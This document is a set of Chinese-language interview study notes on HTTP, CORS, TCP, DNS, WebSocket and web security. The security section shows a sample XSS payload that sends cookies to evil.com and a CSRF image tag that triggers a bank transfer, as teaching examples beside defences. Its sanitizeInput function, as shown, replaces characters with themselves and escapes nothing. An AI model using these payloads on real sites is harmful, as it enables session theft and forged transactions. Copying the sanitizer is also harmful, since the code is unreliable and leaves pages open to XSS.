发送方:
1. 对数据计算哈希(摘要)
2. 用私钥加密摘要 → 数字签名
3. 发送数据 + 签名
接收方:
1. 用公钥解密签名 → 原始摘要
2. 对收到的数据计算哈希 → 新摘要
3. 对比两个摘要,一致则验证通过
7.7 HTTPS 优势
- 防窃听:数据加密传输
- 防篡改:数据完整性校验
- 身份验证:证书验证服务器身份
- SEO 友好:搜索引擎优先收录
- 用户信任:浏览器显示安全标识
八、HTTP/2 与 HTTP/3
8.1 HTTP 版本对比
| 版本 | 传输层 | 核心特性 |
|---|---|---|
| HTTP/1.0 | TCP | 短连接,每次请求新建连接 |
| HTTP/1.1 | TCP | 持久连接、管道化、分块传输 |
| HTTP/2 | TCP | 二进制分帧、多路复用、头部压缩、服务器推送 |
| HTTP/3 | QUIC(UDP) | 解决 TCP 队头阻塞、0-RTT 连接 |
8.2 HTTP/2 核心特性
二进制分帧
定义: HTTP/2 将消息分解为二进制帧进行传输。
HTTP/1.1:文本协议
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n
\r\n
HTTP/2:二进制协议
┌─────────────────────┐
│ Frame (二进制) │
│ - Type (DATA/HEADERS)│
│ - Flags │
│ - Payload │
└─────────────────────┘
优势:
- 解析更高效
- 减少解析错误
- 支持二进制优化
多路复用
定义: 在同一 TCP 连接上并发发送多个请求/响应,无需等待前一个完成。
HTTP/1.1:
请求1 ──→ ┌───┐ ┌───┐ ┌───┐
请求2 ──→ │ │ │ │ │ │ 排队等待
请求3 ──→ └───┘ └───┘ └───┘
HTTP/2:
请求1 ──→ ┌───┐
请求2 ──→ │ │ 并发传输
请求3 ──→ └───┘
解决的问题:
- HTTP/1.1 的队头阻塞
- 需要建立多个 TCP 连接
- 浏览器并发连接数限制
头部压缩(HPACK)
定义: 使用 HPACK 算法压缩请求和响应头部。
原理:
- 维护静态和动态表
- 编码重复的头部字段
- 减少传输数据量
HTTP/1.1:
User-Agent: Mozilla/5.0 ...
Accept: text/html,...
Accept-Encoding: gzip,...
Cookie: sessionId=abc...
HTTP/2(压缩后):
索引1 → User-Agent
索引2 → Accept
索引3 → Accept-Encoding
Cookie 部分压缩
服务器推送
定义: 服务器主动将资源推送给客户端,无需客户端请求。
客户端请求 index.html
服务器响应:
┌── index.html
├── style.css (推送)
└── script.js (推送)
使用场景:
- 关键资源预加载
- 减少额外请求延迟
注意: HTTP/2 推送已被部分浏览器弃用,推荐使用 <link rel="preload">。
8.3 HTTP/3
定义:
HTTP/3 是基于 QUIC 协议的 HTTP 版本,底层使用 UDP 而非 TCP。
核心改进:
QUIC 协议
特性:
| 特性 | 说明 |
|---|---|
| 基于 UDP | 不依赖 TCP |
| 0-RTT | 首次连接也可快速建立 |
| 多路复用 | 无 TCP 队头阻塞 |
| 连接迁移 | IP 变化不中断连接 |
| 内置 TLS | 安全默认 |
解决 TCP 队头阻塞:
TCP 队头阻塞:
数据包1 ──→ OK
数据包2 ──→ 丢失 → 阻塞后续所有包
数据包3 ──→ 等待重传
数据包4 ──→ 等待重传
QUIC:
流1 ──→ OK
流2 ──→ 丢失 → 仅影响流2
流3 ──→ OK → 不受影响
8.4 HTTP/2 与 HTTP/1.1 的对比
| 对比项 | HTTP/1.1 | HTTP/2 |
|---|---|---|
| 协议格式 | 文本 | 二进制 |
| 连接 | 多连接/管道化 | 单连接多路复用 |
| 头部 | 无压缩 | HPACK 压缩 |
| 队头阻塞 | 存在 | 解决(应用层) |
| 服务器推送 | 不支持 | 支持 |
| 优先级 | 无 | 支持请求优先级 |
| 性能 | 较慢 | 更快(尤其高延迟网络) |
九、RESTful API 设计
9.1 RESTful 定义
REST(Representational State Transfer,表述性状态转移)是一种软件架构风格。
核心思想: 将一切抽象为资源,通过统一接口操作资源。
9.2 RESTful 设计原则
| 原则 | 说明 |
|---|---|
| 资源导向 | URL 表示资源 |
| 统一接口 | 使用 HTTP 方法操作资源 |
| 无状态 | 每次请求包含所有必要信息 |
| 可缓存 | 响应可被缓存 |
| 分层系统 | 客户端不知道中间层 |
| 按需代码(可选) | 服务器可传输可执行代码 |
9.3 RESTful 资源命名
规则:
- 使用名词,不使用动词
- 使用复数形式
- 使用小写字母和连字符
- 嵌套资源表示关系
好的命名:
GET /api/users # 获取用户列表
GET /api/users/123 # 获取单个用户
POST /api/users # 创建用户
PUT /api/users/123 # 更新用户
DELETE /api/users/123 # 删除用户
GET /api/users/123/orders # 获取用户订单
不好的命名:
GET /api/getUsers
POST /api/createUser
GET /api/queryUserOrders
9.4 RESTful HTTP 方法使用
| 方法 | 操作 | 幂等性 | 示例 |
|---|---|---|---|
| GET | 读取资源 | 是 | GET /api/users/123 |
| POST | 创建资源 | 否 | POST /api/users |
| PUT | 更新/替换 | 是 | PUT /api/users/123 |
| PATCH | 部分更新 | 否 | PATCH /api/users/123 |
| DELETE | 删除资源 | 是 | DELETE /api/users/123 |
9.5 RESTful 状态码使用
| 状态码 | 使用场景 |
|---|---|
| 200 | GET/PUT/PATCH 成功 |
| 201 | POST 创建成功 |
| 204 | DELETE 成功 |
| 400 | 请求参数错误 |
| 401 | 未认证 |
| 403 | 无权限 |
| 404 | 资源不存在 |
| 409 | 资源冲突 |
| 422 | 验证失败 |
| 500 | 服务器错误 |
9.6 RESTful 版本控制
方式:
1. URL 路径:
/api/v1/users
/api/v2/users
2. 请求头:
Accept: application/vnd.example.v1+json
3. 查询参数:
/api/users?version=1
最佳实践: 推荐使用 URL 路径方式,简单直观。
十、跨域问题与解决方案
10.1 同源策略
定义:
同源策略是浏览器的安全机制,限制一个源加载的文档或脚本与另一个源的资源进行交互。
同源的定义: 协议、域名、端口都相同。
同源示例(源:https://www.example.com):
https://www.example.com/page1 ✅ 同源
https://www.example.com:443/page2 ✅ 同源(默认端口)
跨源示例:
http://www.example.com/page1 ❌ 协议不同
https://api.example.com/page1 ❌ 域名不同
https://www.example.com:8080 ❌ 端口不同
10.2 跨域产生的原因
触发跨域的场景:
- AJAX/Fetch 请求不同域
- DOM 操作 iframe 不同域
- Web Font 跨域加载
- Canvas 绘制跨域图片
不受同源策略限制的标签:
<script src="..."> <!-- JSONP 利用此特性 -->
<img src="...">
<link href="...">
<iframe src="...">
<video src="...">
<audio src="...">
10.3 CORS(跨域资源共享)
定义:
CORS(Cross-Origin Resource Sharing)是 W3C 标准,允许浏览器向跨源服务器发送 XMLHttpRequest 请求。
实现方式: 服务器设置响应头。
简单请求
条件:
- 方法为 GET、HEAD、POST
- Content-Type 为 text/plain、multipart/form-data、application/x-www-form-urlencoded
- 无自定义头部
流程:
浏览器直接发送请求,携带 Origin 头
服务器响应 Access-Control-Allow-Origin
// 请求
GET /api/data HTTP/1.1
Origin: https://frontend.example.com
// 响应
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true
预检请求(Preflight)
触发条件:
- 方法为 PUT、DELETE 等
- Content-Type 为 application/json
- 有自定义头部
流程:
1. 浏览器发送 OPTIONS 预检请求
2. 服务器返回允许的跨域信息
3. 预检通过后,发送实际请求
// 预检请求
OPTIONS /api/data HTTP/1.1
Origin: https://frontend.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Content-Type, Authorization
// 预检响应
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
Access-Control-Allow-Credentials: true
// 实际请求
POST /api/data HTTP/1.1
Origin: https://frontend.example.com
Content-Type: application/json
Authorization: Bearer xxxxx
10.4 CORS 响应头详解
| 响应头 | 说明 | 示例 |
|---|---|---|
| Access-Control-Allow-Origin | 允许的源 | * 或 https://example.com |
| Access-Control-Allow-Methods | 允许的方法 | GET, POST, PUT, DELETE |
| Access-Control-Allow-Headers | 允许的头部 | Content-Type, Authorization |
| Access-Control-Allow-Credentials | 是否允许携带凭证 | true |
| Access-Control-Max-Age | 预检请求缓存时间 | 86400(秒) |
| Access-Control-Expose-Headers | 允许暴露的头部 | X-Custom-Header |
Express CORS 配置:
const cors = require('cors');
app.use(cors({
origin: 'https://frontend.example.com',
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400
}));
注意: 当 Access-Control-Allow-Credentials: true 时,Access-Control-Allow-Origin 不能为 *。
10.5 JSONP
定义:
JSONP(JSON with Padding)利用 <script> 标签不受同源策略限制的特性实现跨域。
原理:
1. 客户端动态创建 <script> 标签
2. src 指向跨域服务器,携带回调函数名
3. 服务器返回 JavaScript 代码(调用回调函数)
4. 浏览器执行,触发回调
实现:
// 客户端
function handleResponse(data) {
console.log('获取数据:', data);
}
const script = document.createElement('script');
script.src = 'https://api.example.com/data?callback=handleResponse';
document.head.appendChild(script);
// 服务器响应
handleResponse({ name: "张三", age: 25 });
jQuery 实现:
$.ajax({
url: 'https://api.example.com/data',
dataType: 'jsonp',
jsonpCallback: 'handleResponse',
success: function(data) {
console.log(data);
}
});
局限性:
- 仅支持 GET 请求
- 安全性较低(XSS 风险)
- 需要服务器配合
10.6 代理跨域
原理:
通过同源服务器作为代理,转发请求到目标服务器。
浏览器 → 同源代理服务器 → 目标服务器
↑
(浏览器认为同源)
Nginx 反向代理
server {
listen 80;
server_name frontend.example.com;
location /api/ {
proxy_pass http://backend.example.com:3000/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
location / {
root /var/www/frontend;
index index.html;
}
}
开发服务器代理(Vite)
// vite.config.js
export default {
server: {
proxy: {
'/api': {
target: 'http://backend.example.com:3000',
changeOrigin: true,
rewrite: (path) => path.replace(/^\/api/, '')
}
}
}
}
10.7 其他跨域解决方案
postMessage
用途: 实现 iframe 跨域通信。
// 发送方
iframe.contentWindow.postMessage('Hello', 'https://target.com');
// 接收方
window.addEventListener('message', (event) => {
if (event.origin === 'https://sender.com') {
console.log('收到消息:', event.data);
event.source.postMessage('收到', event.origin);
}
});
WebSocket
说明: WebSocket 不受同源策略限制。
const ws = new WebSocket('wss://api.example.com/ws');
ws.onmessage = (event) => {
console.log('收到:', event.data);
};
document.domain
用途: 主域相同子域不同页面通信。
// a.example.com 和 b.example.com
document.domain = 'example.com';
10.8 跨域解决方案对比
| 方案 | 原理 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|---|
| CORS | 服务端设置响应头 | 标准方案,支持所有方法 | 需要服务端配合 | 现代 Web 应用 |
| JSONP | script 标签跨域 | 兼容老浏览器 | 仅 GET,有安全风险 | 老旧系统兼容 |
| 代理 | 服务端转发 | 对前端透明 | 需要配置代理服务器 | 开发/生产环境 |
| postMessage | 窗口间通信 | 灵活安全 | 仅 iframe | iframe 跨域通信 |
| WebSocket | 长连接协议 | 双向通信 | 需要额外服务 | 实时通信 |
十一、TCP/IP 协议
11.1 TCP 与 UDP 对比
| 对比项 | TCP | UDP |
|---|---|---|
| 连接 | 面向连接 | 无连接 |
| 可靠性 | 可靠传输 | 尽最大努力交付 |
| 顺序 | 保证顺序 | 不保证顺序 |
| 流量控制 | 有 | 无 |
| 拥塞控制 | 有 | 无 |
| 速度 | 较慢 | 较快 |
| 头部大小 | 20-60 字节 | 8 字节 |
| 适用场景 | 文件传输、网页浏览 | 视频直播、游戏、DNS |
11.2 TCP 三次握手
目的: 建立可靠连接,确认双方收发能力正常。
客户端 服务器
| |
|--- SYN (seq=x) -------->| 第一次握手:客户端发送 SYN
| | 服务器确认客户端发送能力
|<-- SYN+ACK (seq=y, |
| ack=x+1) ----------| 第二次握手:服务器回复 SYN+ACK
| | 客户端确认服务器收发能力
|--- ACK (ack=y+1) ------>| 第三次握手:客户端回复 ACK
| | 服务器确认客户端收发能力
| |
|====== 连接建立 =========|
为什么需要三次?
- 防止已失效的连接请求报文段突然又传送到服务器
- 确认双方的接收和发送能力都正常
- 两次握手无法防止重复连接
11.3 TCP 四次挥手
目的: 安全断开连接,确保数据传输完毕。
客户端 服务器
| |
|--- FIN (seq=u) -------->| 第一次:客户端发送 FIN
| | 客户端进入 FIN-WAIT-1
|<-- ACK (ack=u+1) -------| 第二次:服务器回复 ACK
| | 服务器进入 CLOSE-WAIT
| | 客户端进入 FIN-WAIT-2
| | (服务器可能还有数据要发送)
|<-- FIN (seq=w) ---------| 第三次:服务器发送 FIN
| | 服务器进入 LAST-ACK
|--- ACK (ack=w+1) ------>| 第四次:客户端回复 ACK
| | 客户端进入 TIME-WAIT(2MSL)
| | 服务器进入 CLOSED
| | 等待 2MSL 后客户端也进入 CLOSED
为什么需要四次?
- TCP 是全双工的,每个方向都需要单独关闭
- 服务器收到 FIN 后,可能还有数据要发送
- 需要先确认收到,再发送自己的 FIN
TIME-WAIT 的作用:
- 确保最后一个 ACK 能到达服务器
- 防止已失效的连接请求出现在新连接中
- 等待 2MSL(最长报文段寿命)
11.4 TCP 连接状态
客户端状态流转:
CLOSED → SYN-SENT → ESTABLISHED → FIN-WAIT-1 → FIN-WAIT-2 → TIME-WAIT → CLOSED
服务器状态流转:
CLOSED → LISTEN → SYN-RCVD → ESTABLISHED → CLOSE-WAIT → LAST-ACK → CLOSED
11.5 正向代理与反向代理
正向代理
定义: 代理客户端,隐藏客户端身份。
客户端 → 正向代理 → 目标服务器
↑
(服务器不知道真实客户端)
用途:
- 突破访问限制
- 隐藏客户端 IP
- 缓存加速
反向代理
定义: 代理服务器,隐藏服务器真实地址。
客户端 → 反向代理 → 后端服务器集群
↑
(客户端不知道真实服务器)
用途:
- 负载均衡
- 安全防护
- SSL 终止
- 缓存
十二、DNS、CDN、WebSocket 等其他特性
12.1 DNS 解析
定义:
DNS(Domain Name System)是将域名转换为 IP 地址的分布式数据库系统。
DNS 查询过程:
用户在浏览器输入 www.example.com
1. 浏览器缓存
检查浏览器 DNS 缓存 → 命中则直接返回
2. 操作系统缓存
检查 hosts 文件/OS DNS 缓存 → 命中则返回
3. 本地 DNS 服务器(LDNS)
向 ISP 提供的 DNS 服务器查询
4. 根域名服务器
返回 .com 顶级域名服务器地址
5. 顶级域名服务器
返回 example.com 权威服务器地址
6. 权威域名服务器
返回 www.example.com 的 IP 地址
7. 返回结果并缓存
各层级缓存结果,下次查询更快
流程图:
浏览器缓存 → OS 缓存 → LDNS → 根域名服务器 → 顶级域名服务器 → 权威域名服务器
↓
返回 IP 地址
12.2 DNS 劫持与防范
定义:
DNS 劫持是指攻击者篡改 DNS 解析结果,将用户引导到恶意网站。
方式:
- 本地 DNS 服务器被劫持
- 中间人篡改 DNS 响应
- 恶意软件修改 hosts 文件
防范措施:
- 使用可信 DNS(如 8.8.8.8、114.114.114.114)
- 启用 DoH(DNS over HTTPS)
- 启用 DoT(DNS over TLS)
- 使用 HTTPS(即使被劫持也能发现)
12.3 CDN
定义:
CDN(Content Delivery Network,内容分发网络)是分布在不同地理位置的服务器网络。
原理:
用户请求 www.example.com/image.png
↓
DNS 解析到最近的 CDN 节点
↓
CDN 节点返回缓存的内容
↓
(缓存未命中时回源站获取)
核心机制:
- 边缘节点:分布全球的缓存服务器
- 负载均衡:用户就近访问
- 缓存策略:静态资源缓存
- 回源:缓存未命中时从源站获取
优势:
- 加速访问(就近访问)
- 减轻源站压力
- 提高可用性
- 防御 DDoS
适用资源:
- 静态资源(图片、CSS、JS)
- 视频/音频
- 大文件下载
12.4 WebSocket
定义:
WebSocket 是 HTML5 开始提供的一种在单个 TCP 连接上进行全双工通讯的协议。
与 HTTP 的对比:
| 对比项 | HTTP | WebSocket |
|---|---|---|
| 通信方式 | 请求-响应 | 全双工 |
| 连接 | 短连接/长连接 | 持久连接 |
| 头部开销 | 大 | 小 |
| 实时性 | 低 | 高 |
| 协议 | 应用层 | 应用层 |
连接过程:
1. HTTP 升级请求(握手)
GET /chat HTTP/1.1
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
2. 服务器响应
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
3. WebSocket 连接建立,全双工通信
客户端 ←→ 服务器(双向实时通信)
使用场景:
- 实时聊天
- 实时数据推送(股票、体育比分)
- 在线游戏
- 协同编辑
// 客户端
const ws = new WebSocket('ws://localhost:8080');
ws.onopen = () => {
console.log('连接已建立');
ws.send('Hello Server');
};
ws.onmessage = (event) => {
console.log('收到消息:', event.data);
};
ws.onerror = (error) => {
console.error('WebSocket 错误:', error);
};
ws.onclose = () => {
console.log('连接已关闭');
};
12.5 长连接与短连接
| 对比项 | 短连接 | 长连接 |
|---|---|---|
| 连接数 | 每次请求新建连接 | 复用同一连接 |
| 性能 | 低(频繁握手) | 高 |
| 资源 | 占用多 | 占用少 |
| HTTP 版本 | HTTP/1.0 默认 | HTTP/1.1 默认(Keep-Alive) |
12.6 轮询、长轮询、SSE
轮询(Polling)
原理: 客户端定时向服务器发送请求。
setInterval(() => {
fetch('/api/messages')
.then(res => res.json())
.then(data => console.log(data));
}, 5000); // 每 5 秒轮询一次
缺点: 大量无效请求,资源浪费。
长轮询(Long Polling)
原理: 服务器收到请求后保持连接,有新数据才返回。
function longPoll() {
fetch('/api/messages?timeout=30000')
.then(res => res.json())
.then(data => {
console.log(data);
longPoll(); // 收到数据后立即发起下一次
})
.catch(() => {
setTimeout(longPoll, 1000); // 超时后重试
});
}
SSE(Server-Sent Events)
定义: 服务器向客户端推送数据的单向通信机制。
// 客户端
const eventSource = new EventSource('/api/events');
eventSource.onmessage = (event) => {
console.log('收到:', event.data);
};
eventSource.addEventListener('custom', (event) => {
console.log('自定义事件:', event.data);
});
// 服务器(Express)
app.get('/api/events', (req, res) => {
res.setHeader('Content-Type', 'text/event-stream');
res.setHeader('Cache-Control', 'no-cache');
res.setHeader('Connection', 'keep-alive');
const sendEvent = (data) => {
res.write(`data: ${JSON.stringify(data)}\n\n`);
};
// 定时推送
const interval = setInterval(() => {
sendEvent({ time: new Date() });
}, 1000);
req.on('close', () => clearInterval(interval));
});
对比:
| 对比项 | 轮询 | 长轮询 | SSE | WebSocket |
|---|---|---|---|---|
| 通信方向 | 单向 | 单向 | 单向 | 双向 |
| 实时性 | 低 | 中 | 高 | 最高 |
| 资源消耗 | 高 | 中 | 低 | 最低 |
| 兼容性 | 好 | 好 | 较好 | 较好 |
| 实现难度 | 简单 | 中等 | 简单 | 中等 |
12.7 本地存储
| 特性 | localStorage | sessionStorage | Cookie | IndexedDB |
|---|---|---|---|---|
| 容量 | 约 5MB | 约 5MB | 约 4KB | 约 250MB |
| 有效期 | 永久 | 会话结束 | 可设置 | 永久 |
| 是否发送 | 否 | 否 | 是 | 否 |
| API | 同步 | 同步 | 同步 | 异步 |
| 数据类型 | 字符串 | 字符串 | 字符串 | 任意 |
十三、安全防御(XSS/CSRF)
13.1 XSS 攻击
定义:
XSS(Cross-Site Scripting,跨站脚本攻击)是攻击者在网页中注入恶意脚本,在用户浏览器中执行。
类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| 存储型 | 恶意脚本存储在服务器 | 评论、留言 |
| 反射型 | 恶意脚本在 URL 中 | 钓鱼链接 |
| DOM 型 | 前端 JS 直接操作 DOM | document.write |
攻击示例:
<!-- 存储型 XSS:恶意评论 -->
<script>document.location='https://evil.com?cookie='+document.cookie</script>
<!-- 反射型 XSS:搜索框 -->
https://example.com/search?q=<script>alert('XSS')</script>
防御措施:
// 1. 输入过滤
function sanitizeInput(input) {
return input
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// 2. 输出编码(模板引擎自动编码)
// Vue、React 默认转义
// 3. Content-Security-Policy
// HTTP 响应头
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com
13.2 CSRF 攻击
定义:
CSRF(Cross-Site Request Forgery,跨站请求伪造)是攻击者诱导用户在其已登录的网站上执行非预期操作。
攻击流程:
1. 用户登录银行网站
2. 用户访问恶意网站
3. 恶意网站发送请求到银行网站
<img src="https://bank.com/transfer?to=attacker&amount=1000">
4. 浏览器自动携带 Cookie
5. 银行网站处理请求(认为是用户操作)
防御措施:
// 1. CSRF Token
// 生成 Token
const csrfToken = crypto.randomBytes(32).toString('hex');
req.session.csrfToken = csrfToken;
// 验证 Token
app.post('/transfer', (req, res) => {
if (req.body.csrfToken !== req.session.csrfToken) {
return res.status(403).json({ message: 'CSRF 验证失败' });
}
// 处理转账
});
// 2. SameSite Cookie
Set-Cookie: sessionId=abc123; SameSite=Strict
// 3. 验证 Referer/Origin
app.post('/transfer', (req, res) => {
const origin = req.headers.origin;
if (origin !== 'https://bank.com') {
return res.status(403).json({ message: '非法来源' });
}
});
13.3 点击劫持
定义:
攻击者将目标网站嵌入到透明 iframe 中,诱导用户点击。
防御:
// X-Frame-Options
X-Frame-Options: DENY // 禁止嵌入
X-Frame-Options: SAMEORIGIN // 仅同源可嵌入
// Content-Security-Policy
Content-Security-Policy: frame-ancestors 'self'
13.4 安全头汇总
| 响应头 | 作用 | 示例 |
|---|---|---|
| Content-Security-Policy | 防止 XSS | default-src 'self' |
| X-Content-Type-Options | 防止 MIME 嗅探 | nosniff |
| X-Frame-Options | 防止点击劫持 | DENY |
| Strict-Transport-Security | 强制 HTTPS | max-age=31536000 |
| X-XSS-Protection | XSS 过滤器 | 1; mode=block |
| Referrer-Policy | 控制 Referer | no-referrer |
本文档根据原始面试题目整理,去重后按主题分组,涵盖 HTTP 协议核心知识点。 建议结合实际项目经验和代码实践,深入理解每个知识点。